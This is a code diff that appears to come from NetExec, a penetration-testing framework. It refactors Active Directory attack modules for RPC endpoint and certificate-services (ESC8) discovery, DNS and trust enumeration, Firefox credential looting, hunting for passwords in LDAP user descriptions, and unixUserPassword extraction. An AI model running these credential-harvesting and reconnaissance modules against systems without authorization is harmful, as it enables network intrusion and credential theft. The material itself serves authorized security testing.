multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__domain = connection.domain
|
||||
self.__lmhash = ""
|
||||
self.__nthash = ""
|
||||
self.__port = 135.
|
||||
self.__stringbinding = ""
|
||||
|
||||
if context.hash and ":" in context.hash[0]:
|
||||
hashList = context.hash[0].split(":")
|
||||
self.__nthash = hashList[-1]
|
||||
self.__lmhash = hashList[0]
|
||||
elif context.hash and ":" not in context.hash[0]:
|
||||
self.__nthash = context.hash[0]
|
||||
self.__lmhash = "00000000000000000000000000000000"
|
||||
|
||||
self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]["bindstr"] % connection.host
|
||||
context.log.debug(f"StringBinding {self.__stringbinding}")
|
||||
|
||||
rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
|
||||
|
||||
if self.__port in [139, 445]:
|
||||
# Setting credentials for SMB
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.set_dport(self.__port)
|
||||
elif self.__port in [443]:
|
||||
# Setting credentials only for RPC Proxy, but not for the MSRPC level
|
||||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
rpctransport.set_auth_type(AUTH_NTLM)
|
||||
else:
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
try:
|
||||
entries = self.__fetchList(connection.kerberos, rpctransport)
|
||||
except Exception as e:
|
||||
error_text = f"Protocol failed: {e}"
|
||||
context.log.fail(error_text)
|
||||
|
||||
if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
|
||||
RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_404_ERR in error_text or \
|
||||
RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
|
||||
context.log.fail("This usually means the target does not allow "
|
||||
"to connect to its epmapper using RpcProxy.")
|
||||
return
|
||||
for entry in entries:
|
||||
tmpUUID = str(entry["tower"]["Floors"][0])
|
||||
|
||||
if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
|
||||
exename = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
|
||||
context.log.debug("EXEs %s" % exename)
|
||||
if exename == "certsrv.exe":
|
||||
context.log.highlight("Active Directory Certificate Services Found.")
|
||||
url = f"http://{connection.host}/certsrv/certfnsh.asp"
|
||||
context.log.highlight(url)
|
||||
try:
|
||||
response = requests.get(url, timeout=5)
|
||||
if response.status_code == 401 and "WWW-Authenticate" in response.headers and "ntlm" in response.headers["WWW-Authenticate"].lower():
|
||||
context.log.highlight("Web enrollment found on HTTP (ESC8).")
|
||||
except requests.RequestException as e:
|
||||
context.log.debug(e)
|
||||
return
|
||||
|
||||
def __fetchList(self, doKerberos, rpctransport):
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce.connect()
|
||||
resp = epm.hept_lookup(None, dce=dce)
|
||||
dce.disconnect()
|
||||
return resp
|
||||
+5
-13
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
|
||||
@@ -23,9 +20,7 @@ class NXCModule:
|
||||
self.domains = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
|
||||
"""
|
||||
"""DOMAIN Domain to enumerate DNS for. Defaults to all zones."""
|
||||
self.domains = None
|
||||
if module_options and "DOMAIN" in module_options:
|
||||
self.domains = module_options["DOMAIN"]
|
||||
@@ -34,15 +29,12 @@ class NXCModule:
|
||||
if not self.domains:
|
||||
domains = []
|
||||
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
|
||||
if output:
|
||||
for result in output:
|
||||
domains.append(result["Name"]["value"])
|
||||
|
||||
context.log.success("Domains retrieved: {}".format(domains))
|
||||
domains = [result["Name"]["value"] for result in output] if output else []
|
||||
context.log.success(f"Domains retrieved: {domains}")
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
@@ -70,6 +62,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
@@ -0,0 +1,86 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
|
||||
Module by Brandon Fisher @shad0wcntr0ller
|
||||
"""
|
||||
|
||||
name = "enum_trusts"
|
||||
description = "Extract all Trust Relationships, Trusting Direction, and Trust Transitivity"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
search_filter = "(&(objectClass=trustedDomain))"
|
||||
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
|
||||
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
|
||||
trusts = []
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
flat_name = ""
|
||||
trust_partner = ""
|
||||
trust_direction = ""
|
||||
trust_transitive = []
|
||||
try:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "flatName":
|
||||
flat_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustPartner":
|
||||
trust_partner = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "trustDirection":
|
||||
if str(attribute["vals"][0]) == "1":
|
||||
trust_direction = "Inbound"
|
||||
elif str(attribute["vals"][0]) == "2":
|
||||
trust_direction = "Outbound"
|
||||
elif str(attribute["vals"][0]) == "3":
|
||||
trust_direction = "Bidirectional"
|
||||
elif str(attribute["type"]) == "trustAttributes":
|
||||
trust_attributes_value = int(attribute["vals"][0])
|
||||
if trust_attributes_value & 0x1:
|
||||
trust_transitive.append("Non-Transitive")
|
||||
if trust_attributes_value & 0x2:
|
||||
trust_transitive.append("Uplevel-Only")
|
||||
if trust_attributes_value & 0x4:
|
||||
trust_transitive.append("Quarantined Domain")
|
||||
if trust_attributes_value & 0x8:
|
||||
trust_transitive.append("Forest Transitive")
|
||||
if trust_attributes_value & 0x10:
|
||||
trust_transitive.append("Cross Organization")
|
||||
if trust_attributes_value & 0x20:
|
||||
trust_transitive.append("Within Forest")
|
||||
if trust_attributes_value & 0x40:
|
||||
trust_transitive.append("Treat as External")
|
||||
if trust_attributes_value & 0x80:
|
||||
trust_transitive.append("Uses RC4 Encryption")
|
||||
if trust_attributes_value & 0x100:
|
||||
trust_transitive.append("Cross Organization No TGT Delegation")
|
||||
if trust_attributes_value & 0x2000:
|
||||
trust_transitive.append("PAM Trust")
|
||||
if not trust_transitive:
|
||||
trust_transitive.append("Other")
|
||||
trust_transitive = ", ".join(trust_transitive)
|
||||
|
||||
if flat_name and trust_partner and trust_direction and trust_transitive:
|
||||
trusts.append((flat_name, trust_partner, trust_direction, trust_transitive))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Cannot process trust relationship due to error {e}")
|
||||
|
||||
if trusts:
|
||||
context.log.success("Found the following trust relationships:")
|
||||
for trust in trusts:
|
||||
context.log.highlight(f"{trust[1]} -> {trust[2]} -> {trust[3]}")
|
||||
else:
|
||||
context.log.display("No trust relationships found")
|
||||
|
||||
return True
|
||||
@@ -1,28 +1,25 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Example
|
||||
Example:
|
||||
-------
|
||||
Module by @yomama
|
||||
"""
|
||||
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
@@ -30,43 +27,39 @@ class NXCModule:
|
||||
"""
|
||||
# Logging best practice
|
||||
# Mostly you should use these functions to display information to the user
|
||||
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
|
||||
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
|
||||
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
|
||||
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
|
||||
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
|
||||
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
|
||||
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
|
||||
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
|
||||
|
||||
# These are for debugging purposes
|
||||
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
|
||||
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
|
||||
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
|
||||
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
|
||||
|
||||
# These are for more critical error handling
|
||||
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
|
||||
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
|
||||
try:
|
||||
raise Exception("Exception that might occure")
|
||||
raise Exception("Exception that might have occurred")
|
||||
except Exception as e:
|
||||
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
Required if on_login is not present
|
||||
This gets called on each authenticated connection with Administrative privileges
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_request(self, context, request):
|
||||
"""Optional.
|
||||
If the payload needs to retrieve additional files, add this function to the module
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_response(self, context, response):
|
||||
"""Optional.
|
||||
If the payload sends back its output to our server, add this function to the module to handle its output
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_shutdown(self, context, connection):
|
||||
"""Optional.
|
||||
Do something on shutdown
|
||||
"""
|
||||
pass
|
||||
@@ -1,85 +1,80 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import socket
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
import sys
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
'''
|
||||
|
||||
name = 'find-computer'
|
||||
description = 'Finds computers in the domain via the provided text'
|
||||
supported_protocols = ['ldap']
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
"""
|
||||
|
||||
name = "find-computer"
|
||||
description = "Finds computers in the domain via the provided text"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
"""
|
||||
find-computer: Specify find-computer to call the module
|
||||
TEXT: Specify the TEXT option to enter your text to search for
|
||||
Usage: nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="server"
|
||||
nxc ldap $DC-IP -u Username -p Password -M find-computer -o TEXT="SQL"
|
||||
'''
|
||||
"""
|
||||
self.TEXT = ""
|
||||
|
||||
self.TEXT = ''
|
||||
|
||||
if 'TEXT' in module_options:
|
||||
self.TEXT = module_options['TEXT']
|
||||
if "TEXT" in module_options:
|
||||
self.TEXT = module_options["TEXT"]
|
||||
else:
|
||||
context.log.error('TEXT option is required!')
|
||||
exit(1)
|
||||
context.log.error("TEXT option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
|
||||
# Building the search filter
|
||||
searchFilter = "(&(objectCategory=computer)(&(|(operatingSystem=*"+self.TEXT+"*)(name=*"+self.TEXT+"*))))"
|
||||
search_filter = f"(&(objectCategory=computer)(&(|(operatingSystem=*{self.TEXT}*))(name=*{self.TEXT}*)))"
|
||||
|
||||
try:
|
||||
context.log.debug('Search Filter=%s' % searchFilter)
|
||||
resp = connection.ldapConnection.search(searchFilter=searchFilter,
|
||||
attributes=['dNSHostName','operatingSystem'],
|
||||
sizeLimit=0)
|
||||
except ldap_impacket.LDAPSearchError as e:
|
||||
if e.getErrorString().find('sizeLimitExceeded') >= 0:
|
||||
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
|
||||
except LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
logging.debug(e)
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug('Total no. of records returned %d' % len(resp))
|
||||
context.log.debug(f"Total no. of records returned: {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
if isinstance(item, SearchResultEntry) is not True:
|
||||
continue
|
||||
dNSHostName = ''
|
||||
operatingSystem = ''
|
||||
dns_host_name = ""
|
||||
operating_system = ""
|
||||
try:
|
||||
for attribute in item['attributes']:
|
||||
if str(attribute['type']) == 'dNSHostName':
|
||||
dNSHostName = str(attribute['vals'][0])
|
||||
elif str(attribute['type']) == 'operatingSystem':
|
||||
operatingSystem = attribute['vals'][0]
|
||||
if dNSHostName != '' and operatingSystem != '':
|
||||
answers.append([dNSHostName,operatingSystem])
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "dNSHostName":
|
||||
dns_host_name = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "operatingSystem":
|
||||
operating_system = attribute["vals"][0]
|
||||
if dns_host_name != "" and operating_system != "":
|
||||
answers.append([dns_host_name, operating_system])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e}")
|
||||
if len(answers) > 0:
|
||||
context.log.success('Found the following computers: ')
|
||||
context.log.success("Found the following computers: ")
|
||||
for answer in answers:
|
||||
try:
|
||||
IP = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],IP))
|
||||
context.log.debug('IP found')
|
||||
except socket.gaierror as e:
|
||||
context.log.debug('Missing IP')
|
||||
context.log.highlight(u'{} ({}) ({})'.format(answer[0],answer[1],"No IP Found"))
|
||||
ip = socket.gethostbyname(answer[0])
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) ({ip})")
|
||||
context.log.debug("IP found")
|
||||
except socket.gaierror:
|
||||
context.log.debug("Missing IP")
|
||||
context.log.highlight(f"{answer[0]} ({answer[1]}) (No IP Found)")
|
||||
else:
|
||||
context.log.success('Unable to find any computers with the text "' + self.TEXT + '"')
|
||||
context.log.success(f"Unable to find any computers with the text {self.TEXT}")
|
||||
@@ -1,4 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
from dploot.lib.target import Target
|
||||
from nxc.protocols.smb.firefox import FirefoxTriage
|
||||
|
||||
@@ -18,7 +17,6 @@ class NXCModule:
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
@@ -50,8 +48,7 @@ class NXCModule:
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight(
|
||||
"[%s][FIREFOX] %s %s:%s"
|
||||
% (
|
||||
"[{}][FIREFOX] {} {}:{}".format(
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
@@ -59,4 +56,4 @@ class NXCModule:
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting firefox: {}".format(e))
|
||||
context.log.debug(f"Error while looting firefox: {e}")
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
import re
|
||||
@@ -34,7 +31,7 @@ class NXCModule:
|
||||
self.MINLENGTH = module_options["MINLENGTH"]
|
||||
if "PASSWORDPOLICY" in module_options:
|
||||
self.PASSWORDPOLICY = True
|
||||
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
self.regex = re.compile(r"((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}$") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
|
||||
@@ -42,7 +39,7 @@ class NXCModule:
|
||||
searchFilter = "(objectclass=user)"
|
||||
|
||||
try:
|
||||
context.log.debug("Search Filter=%s" % searchFilter)
|
||||
context.log.debug(f"Search Filter={searchFilter}")
|
||||
resp = connection.ldapConnection.search(
|
||||
searchFilter=searchFilter,
|
||||
attributes=["sAMAccountName", "description"],
|
||||
@@ -54,13 +51,12 @@ class NXCModule:
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
resp = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
nxc_logger.debug(e)
|
||||
return False
|
||||
|
||||
answers = []
|
||||
context.log.debug("Total of records returned %d" % len(resp))
|
||||
context.log.debug(f"Total of records returned {len(resp)}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
@@ -76,13 +72,12 @@ class NXCModule:
|
||||
answers.append([sAMAccountName, description])
|
||||
except Exception as e:
|
||||
context.log.debug("Exception:", exc_info=True)
|
||||
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
|
||||
pass
|
||||
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
|
||||
answers = self.filter_answer(context, answers)
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
@@ -107,10 +102,11 @@ class NXCModule:
|
||||
if self.regex.search(description):
|
||||
conditionPasswordPolicy = True
|
||||
|
||||
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
|
||||
if conditionFilter and not self.PASSWORDPOLICY:
|
||||
context.log.highlight(f"'{self.FILTER}' found in description: '{description}'")
|
||||
elif (self.FILTER == "" and (conditionPasswordPolicy == self.PASSWORDPOLICY)):
|
||||
answersFiltered.append([answer[0], description])
|
||||
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
|
||||
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
|
||||
|
||||
return answersFiltered
|
||||
@@ -1,17 +1,18 @@
|
||||
# Credit to https://twitter.com/snovvcrash/status/1550518555438891009
|
||||
# Credit to https://github.com/dirkjanm/adidnsdump @_dirkjan
|
||||
# module by @mpgn_x64
|
||||
|
||||
import re
|
||||
from os.path import expanduser
|
||||
import codecs
|
||||
import socket
|
||||
from builtins import str
|
||||
from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
import dns.name
|
||||
import dns.resolver
|
||||
from impacket.ldap import ldap
|
||||
from impacket.structure import Structure
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from ldap3 import LEVEL
|
||||
|
||||
|
||||
@@ -37,13 +38,13 @@ def get_dns_resolver(server, context):
|
||||
server = server[8:]
|
||||
socket.inet_aton(server)
|
||||
dnsresolver.nameservers = [server]
|
||||
except socket.error:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your" " target domain works here or specify an IP as target host to use that" " server for queries")
|
||||
except OSError:
|
||||
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
|
||||
return dnsresolver
|
||||
|
||||
|
||||
def ldap2domain(ldap):
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:]
|
||||
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
|
||||
|
||||
|
||||
def new_record(rtype, serial):
|
||||
@@ -51,7 +52,7 @@ def new_record(rtype, serial):
|
||||
nr["Type"] = rtype
|
||||
nr["Serial"] = serial
|
||||
nr["TtlSeconds"] = 180
|
||||
# From authoritive zone
|
||||
# From authoritative zone
|
||||
nr["Rank"] = 240
|
||||
return nr
|
||||
|
||||
@@ -82,17 +83,16 @@ def searchResEntry_to_dict(results):
|
||||
|
||||
class NXCModule:
|
||||
name = "get-network"
|
||||
description = ""
|
||||
description = "Query all DNS records with the corresponding IP from the domain."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ALL Get DNS and IP (default: false)
|
||||
ALL Get DNS and IP (default: false)
|
||||
ONLY_HOSTS Get DNS only (no ip) (default: false)
|
||||
"""
|
||||
|
||||
self.showall = False
|
||||
self.showhosts = False
|
||||
self.showip = True
|
||||
@@ -115,29 +115,27 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
zone = ldap2domain(connection.baseDN)
|
||||
dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN
|
||||
searchtarget = "DC=%s,%s" % (zone, dnsroot)
|
||||
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
|
||||
search_target = f"DC={zone},{dns_root}"
|
||||
context.log.display("Querying zone for records")
|
||||
sfilter = "(DC=*)"
|
||||
|
||||
try:
|
||||
list_sites = connection.ldapConnection.search(
|
||||
searchBase=searchtarget,
|
||||
searchBase=search_target,
|
||||
searchFilter=sfilter,
|
||||
attributes=["dnsRecord", "dNSTombstoned", "name"],
|
||||
sizeLimit=100000,
|
||||
)
|
||||
except ldap.LDAPSearchError as e:
|
||||
if e.getErrorString().find("sizeLimitExceeded") >= 0:
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the" " data received")
|
||||
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
|
||||
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
|
||||
# paged queries
|
||||
list_sites = e.getAnswers()
|
||||
pass
|
||||
else:
|
||||
raise
|
||||
targetentry = None
|
||||
dnsresolver = get_dns_resolver(connection.host, context.log)
|
||||
get_dns_resolver(connection.host, context.log)
|
||||
|
||||
outdata = []
|
||||
|
||||
@@ -168,7 +166,7 @@ class NXCModule:
|
||||
{
|
||||
"name": recordname,
|
||||
"type": RECORD_TYPE_MAPPING[dr["Type"]],
|
||||
"value": address[list(address.fields)[0]].toFqdn(),
|
||||
"value": address[next(iter(address.fields))].toFqdn(),
|
||||
}
|
||||
)
|
||||
elif dr["Type"] == 28:
|
||||
@@ -182,19 +180,19 @@ class NXCModule:
|
||||
}
|
||||
)
|
||||
|
||||
context.log.highlight("Found %d records" % len(outdata))
|
||||
path = expanduser("~/.nxc/logs/{}_network_{}.log".format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
with codecs.open(path, "w", "utf-8") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
outfile.write("{}\n".format(row["name"] + "." + connection.domain))
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
|
||||
elif self.showall:
|
||||
outfile.write("{} \t {}\n".format(row["name"] + "." + connection.domain, row["value"]))
|
||||
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
|
||||
else:
|
||||
outfile.write("{}\n".format(row["value"]))
|
||||
context.log.success("Dumped {} records to {}".format(len(outdata), path))
|
||||
outfile.write(f"{row['value']}\n")
|
||||
context.log.success(f"Dumped {len(outdata)} records to {path}")
|
||||
if not self.showall and not self.showhosts:
|
||||
context.log.display("To extract CIDR from the {} ip, run the following command: cat" " your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata)))
|
||||
context.log.display(f"To extract CIDR from the {len(outdata)} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent")
|
||||
|
||||
|
||||
class DNS_RECORD(Structure):
|
||||
@@ -250,9 +248,9 @@ class DNS_COUNT_NAME(Structure):
|
||||
def toFqdn(self):
|
||||
ind = 0
|
||||
labels = []
|
||||
for i in range(self["LabelCount"]):
|
||||
nextlen = unpack("B", self["RawName"][ind : ind + 1])[0]
|
||||
labels.append(self["RawName"][ind + 1 : ind + 1 + nextlen].decode("utf-8"))
|
||||
for _i in range(self["LabelCount"]):
|
||||
nextlen = unpack("B", self["RawName"][ind: ind + 1])[0]
|
||||
labels.append(self["RawName"][ind + 1: ind + 1 + nextlen].decode("utf-8"))
|
||||
ind += nextlen + 1
|
||||
# For the final dot
|
||||
labels.append("")
|
||||
@@ -0,0 +1,63 @@
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Get unixUserPassword attribute from all users in ldap
|
||||
Module by @SyzikSecu
|
||||
"""
|
||||
|
||||
name = "get-unixUserPassword"
|
||||
description = "Get unixUserPassword attribute from all users in ldap"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
